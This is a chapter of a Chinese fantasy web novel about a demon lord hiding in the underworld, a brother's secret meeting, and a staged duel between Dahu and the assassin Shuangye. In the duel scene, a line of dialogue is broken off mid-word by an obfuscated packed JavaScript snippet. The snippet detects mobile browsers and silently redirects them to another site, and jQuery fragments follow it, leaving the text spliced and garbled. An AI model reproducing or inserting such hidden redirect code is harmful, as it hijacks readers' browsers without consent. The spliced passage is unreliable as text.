“那是自然。”周玄玉肯定了他的猜测,随即又语重心长道,“但延玉也实属无奈,你莫要因此怨他刻意隐瞒于你。”
“无奈?”卫影不解。
“自延玉继承君位以来,冥王便曾多次想与他商议两界投胎转世名额划分之事。”周玄玉神色凝重,缓缓道来。
“冥王起初以为延玉年轻,资历尚浅,易于拿捏。却不曾想,延玉在此事上态度异常强硬,关乎妖族根本利益,寸步不让,一点转圜的余地都未留给冥王。”
他顿了顿,用沉痛的语调说道:“冥王因此与延玉结下了深怨。他暗中与妖界内部一些早有异心、蠢蠢欲动的势力勾结,欲联手暗杀延玉,延玉腹背受敌,为保全性命,不得已才逃亡至此。”
“原来……竟是如此。”卫影喃喃道。
心中对周延玉的些许埋怨被这残酷的真相冲散,取而代之的是深深的后怕与担忧。他一直以为君上只是来冥界办事,没想到竟是亡命天涯。
“所谓最危险的地方,往往也是最安全的地方,延玉藏身于此,我反倒能稍安心些。”周玄玉语气转为欣慰。
“他如今失了肉身,仅余魂体,旁人想要伤他本源并非易事。而且,寻常妖怪谁会冒这么大的风险,深入冥界来追杀他?”
“所以,你让君上暂时不要回去,是因为妖界还有冥王安插的势力在虎视眈眈,等待他自投罗网?”卫影顺着他的思路问道。
“不错。”周玄玉赞许地点头,眼中闪过一丝决绝。
“为了更好的保护延玉,混淆视听,我甚至在妖界对外下达了对他的通缉令。以此让冥王相信,我已与延玉彻底决裂,势同水火。”
“通缉令?”
卫影骇然失色,他万万没想到,事态竟然已经严峻到需要周玄玉用这种自毁长城、背负骂名的方式来缓解危机。
“我也是别无他法。”周玄玉重重叹息一声,语气中充满了不得已的苦涩与无奈。
“冥王与上界天道使者关系匪浅,在天庭的势力远非我妖界可比。眼下,我们只能虚与委蛇,假意与他周旋。他要求我自证清白,与延玉划清界限,我只能出此下策。”
“玄玉哥,你真是用心良苦。”卫影的语气中带着由衷的敬佩与一丝心疼,“相信君上日后得知全部真相,定能明白你的苦心,绝不会怪罪于你。”
“延玉向来深明大义,我相信他会理解的我作为兄长的一片苦心。”周玄玉点头回应。
“玄玉哥,”卫影想起另一个关键人物,压低声音问道,“你是否知道一个叫叶知舟的人?他会不会也是冥王阴谋中的一环?”
“叶知舟?”周玄玉语调微扬,眉头随即蹙起,脸上的疑惑神色已经替他做出了回答,表明他对此人并不熟悉。
“自从我和君上相认以来,此人就阴魂不散,一直围绕在我们周围。”
卫影忧心忡忡地解释:“此前他还特意设下宴席,几番试探我与君上,绝对没安好心。他在冥界经营多年,势力盘根错节,绝非等闲之辈。”
“听你描述,此人极有可能是冥王安置在冥界的重要爪牙。”
周玄玉凝眉沉思,语气愈发凝重:“我目前虽与冥王有所接触,但尚未完全取得他的信任,他对我也多有防备。待我回去后,定会设法仔细探查此人的底细。”
“好,一切小心。”卫影郑重道。
“你们也万事一定小心。”
周玄玉殷切叮嘱,随即从怀中取出一枚造型古朴、呈犬牙形状的玉坠,递了过去。
“这枚玉坠中我注入了特殊妖力,你若遇到紧急情况,或是有重要消息,可通过它随时与我联系。”
当卫影伸手接过玉坠时,周玄玉的手并未立刻松开,反而收紧了几分,牢牢握住了他的手,目光深邃,语气严肃。
“卫影,记住了,今天你谁也没有见到,我们从未有过这次会面。”
卫影感受到手上传来的力道和对方目光中的深意,立刻郑重地点头。
周玄玉不仅将如此重要的联络信物交给他,更对他吐露了连君上都未曾明言的内情。
这份沉甸甸的信任,让他心生感动,更暗下决心:“玄玉哥放心,我明白轻重,绝不会向君上提及今日之事,让你为难。”
“多谢。”周玄玉欣慰回应。
……
无忧阁深处,一间光线晦暗的密室。
“叶老板,您吩咐的事,都已办妥。”大虎垂首而立,照例向端坐于阴影中的叶知舟汇报。
“情况如何?”叶知舟的声音不紧不慢,带着惯有的慵懒。
“不出意外的话,宋小姐和那位百灵画皮师,此刻应在洞房之中了。”大虎顿了顿,脸上闪过几分烦躁,又不情不愿地补充道,“白夭夭那边也按照您的意思安排好了……”
“好。”叶知舟淡淡应了一声,对他语气中的异样仿佛视而不见。
自那次白夭夭在叶知舟面前撕破脸皮大闹一场后,大虎只得将对她的那点龌龊心思强行压下,心头却始终憋着一股无处发泄的火。
“大虎,”叶知舟冷不丁开口,打破了短暂的沉寂,“你来冥界也有些时日了,许久未曾施展拳脚了吧?”
“叶老板,这儿可不是妖界。”大虎闻言,语气带着几分不屑,“对付那些孱弱鬼魂,动动手指便灰飞烟灭,哪有什么值得施展拳脚的机会!”
“无妨,”叶知舟唇角勾起一抹难以捉摸的浅笑,“我今日便给你这个机会。”
他话音未落,目光转向身侧的阴影:“霜叶,出来吧。”
大虎循着他的视线望去,只见一个身着紫衣、身形瘦削的女子自叶知舟身旁的暗处缓缓步出。
她面容冷峻,五官线条如刀削般凌厉,眼神如同其名,透着冰封霜寒般的死寂与杀气。
空气中瞬间弥漫开一股微妙的危险气息,让大虎下意识地绷紧了神经,耳朵几不可察地抖动了两下,全神贯注地盯住这个陌生而危险的女人。
“别紧张。”叶知舟皮笑肉不笑地安抚,语气却听不出半分暖意,“想来你在冥界难免孤寂,我特意为你寻了个同类,也好切磋切磋。”
“叶老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054146|189398||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
板这是想让我们同类相残?”大虎敏锐地捕捉到那不祥的暗示,警惕之心大起。
“怕什么,”叶知舟语调轻松,默认了他的猜测,“霜叶下手,自有分寸。”
名为霜叶的女子闻言,沉默地向前踏出两步,周身气息陡然变得锐利,战斗一触即发。
大虎心知自己已无拒绝的余地,只得硬着头皮,被迫迎战。
霜叶却依旧是那副面无表情的模样,她屏息凝神,双膝微屈,上身略向前倾,动作流畅而无声。
只见她缓缓从身侧抽出一把弧度诡异的弯刀,刀身狭长,寒光流转。
大虎决定先发制人,他双目一沉,脚腕猛地发力,壮硕的身躯竟异常敏捷地飞扑向前,如同猛虎出闸,直取霜叶面门。
霜叶却不慌不忙,纤腰柔韧地向后一折,险险避过这迅猛一击。
然而大虎变招极快,蒲扇般的大手趁势探出,精准地抓住了霜叶尚未站稳的脚踝,试图凭借蛮力将她狠狠掼向地面。
霜叶并未强行挣脱,反而顺势借力,被大虎拽起的瞬间,身体如同失去重量般在空中灵巧一旋,宛如蜂鸟振翅,轻易脱离了他的钳制。
未等大虎反应过来,她已落地站稳,手腕一翻,弯刀带着尖锐的破空声,直刺大虎心口。
银白的刀刃如毒蛇吐信,从他眼前急速掠过,带起的劲风刮得他脸颊生疼。
大虎心中骇然,急忙旋身后撤数步,方才发力的手臂竟微微发麻。这女人的力道,远比他预估的更加强悍。
霜叶显然不打算给他喘息之机,她回退半步稍作蓄势,依旧是那反握弯刀的诡异姿势,随即以肉眼难以捕捉的高速,舞动起手中利刃。
弯刀如同水中游鱼,在她指间翻转穿梭,带着致命的寒光,向大虎发起了密不透风的进攻。
刀刃划破空气的嗡鸣不绝于耳。在如此高频率、高强度的猛攻下,本就不以敏捷见长的大虎很快左支右绌,落了下风。
冰冷的刀锋数次擦过他的身体,划破衣袍,在他坚硬的假身上留下几道浅痕。幸而这并非他真正的妖躯,没有痛感,亦无实质损伤。
垂眸凝神的刹那,刀刃切割气流的声音如同死亡的蜂鸣,紧紧缠绕在他耳际。
“停手!我认输!”大虎终于按捺不住,扬声大喝。
话音甫落,那冰冷的弯刀恰好停在了他的颈旁,刀锋紧贴皮肤,传来刺骨的寒意。只需霜叶手腕稍稍用力,便是身首异处的下场。
“好!”叶知舟边鼓掌边走向霜叶,眼里是掩饰不住的赞赏。
霜叶收回弯刀,一如既往地冷静自持。
“叶老板,你这是什么意思?我大虎没招惹你吧?”大虎神色愤然,声线里满是怨怼,“特意找一个高手来羞辱我。”
“大虎,你可误会我一片好意了。”叶知舟故作伤心状,皱着眉头道,“难得看见同类,你不该开心吗?”
“……”大虎一言不发,只死死盯着一旁沉默的霜叶。
在她身上闻不到死气沉沉的假人气息,她来头绝对不小,这副身体竟是本体。